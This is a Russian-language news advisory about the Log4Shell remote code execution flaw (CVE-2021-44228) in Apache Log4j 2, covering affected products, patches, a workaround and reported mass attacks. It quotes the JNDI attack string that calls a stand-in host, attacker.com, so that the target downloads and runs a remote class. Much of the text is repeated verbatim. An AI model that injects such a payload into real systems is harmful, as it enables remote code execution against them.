В Apache Log4j 2, популярном фреймворке для организации ведения логов в Java-приложениях, выявлена критическая уязвимость, позволяющая выполнить произвольный код при записи в лог специально оформленного значения в формате "{jndi:URL}". Атака может быть проведена на Java-приложения, записывающие в лог значения, полученные из внешних источников, например, при выводе проблемных значений в сообщениях об ошибках.
Отмечается, что проблеме подвержены почти все проекты, использующие такие фреймворки, как Apache Struts, Apache Solr, Apache Druid или Apache Flink, включая Steam, Apple iCloud, клиенты и серверы игры Minecraft. Ожидается, что уязвимость может привести к волне массовых атак на корпоративные приложения, повторив историю критических уязвимостей во фреймворке Apache Struts, который по приблизительной оценке применяется в web-приложениях 65% компаний из списка Fortune 100. В том числе уже зафиксированы попытки сканирования сети на предмет уязвимых систем.
Проблема усугубляется тем, что уже опубликован рабочий эксплоит, но исправления для стабильных веток на данный момент не сформированы. СVE-идентификатор пока не присвоен. Исправление включено только в тестовую ветку log4j-2.15.0-rc1. В качестве обходного пути блокирования уязвимости рекомендуется выставить параметр Log4j2.formatMsgNoLookups в значение true.
Проблема была вызвана тем, что Log4j 2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой "${jndi:ldap://attacker.com/a}", при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.
Дополнение 1: Уязвимости присвоен идентификатор CVE-2021-44228.
Дополнение 2: Выявлен способ обхода защиты, добавленной выпуск log4j-2.15.0-rc1. Предложено новое обновление log4j-2.15.0-rc2 с более полной защитой от уязвимости. В коде выделяется изменение, связанное с отсутствием аварийного завершения в случае использования некорректно оформленного JNDI URL.
Дополнение 3: Компания Cloudflare зафиксировала проведение массовых автоматизированных атак для захвата управления над системами, использующими уязвимую библиотеку Log4j 2.
Дополнение 4: Компания Cybereason предложила проактивный метод борьбы с уязвимостью и опубликовала эксплоит-вакцину Logout4Shell, который через совершение атаки выставляет Java-настройки "log4j2.formatMsgNoLookups = true", "com.sun.jndi.rmi.object.trustURLCodebase = false" и "com.sun.jndi.cosnaming.object.trustURLCodebase = false" для блокирования дальнейшего проявления уязвимости на неподконтрольных системах.
Отмечается, что проблеме подвержены почти все проекты, использующие такие фреймворки, как Apache Struts, Apache Solr, Apache Druid или Apache Flink, включая Steam, Apple iCloud, клиенты и серверы игры Minecraft. Ожидается, что уязвимость может привести к волне массовых атак на корпоративные приложения, повторив историю критических уязвимостей во фреймворке Apache Struts, который по приблизительной оценке применяется в web-приложениях 65% компаний из списка Fortune 100. В том числе уже зафиксированы попытки сканирования сети на предмет уязвимых систем.
Проблема усугубляется тем, что уже опубликован рабочий эксплоит, но исправления для стабильных веток на данный момент не сформированы. СVE-идентификатор пока не присвоен. Исправление включено только в тестовую ветку log4j-2.15.0-rc1. В качестве обходного пути блокирования уязвимости рекомендуется выставить параметр Log4j2.formatMsgNoLookups в значение true.
Проблема была вызвана тем, что Log4j 2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой "${jndi:ldap://attacker.com/a}", при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.
Дополнение 1: Уязвимости присвоен идентификатор CVE-2021-44228.
Дополнение 2: Выявлен способ обхода защиты, добавленной выпуск log4j-2.15.0-rc1. Предложено новое обновление log4j-2.15.0-rc2 с более полной защитой от уязвимости. В коде выделяется изменение, связанное с отсутствием аварийного завершения в случае использования некорректно оформленного JNDI URL.
Дополнение 3: Компания Cloudflare зафиксировала проведение массовых автоматизированных атак для захвата управления над системами, использующими уязвимую библиотеку Log4j 2.
Дополнение 4: Компания Cybereason предложила проактивный метод борьбы с уязвимостью и опубликовала эксплоит-вакцину Logout4Shell, который через совершение атаки выставляет Java-настройки "log4j2.formatMsgNoLookups = true", "com.sun.jndi.rmi.object.trustURLCodebase = false" и "com.sun.jndi.cosnaming.object.trustURLCodebase = false" для блокирования дальнейшего проявления уязвимости на неподконтрольных системах.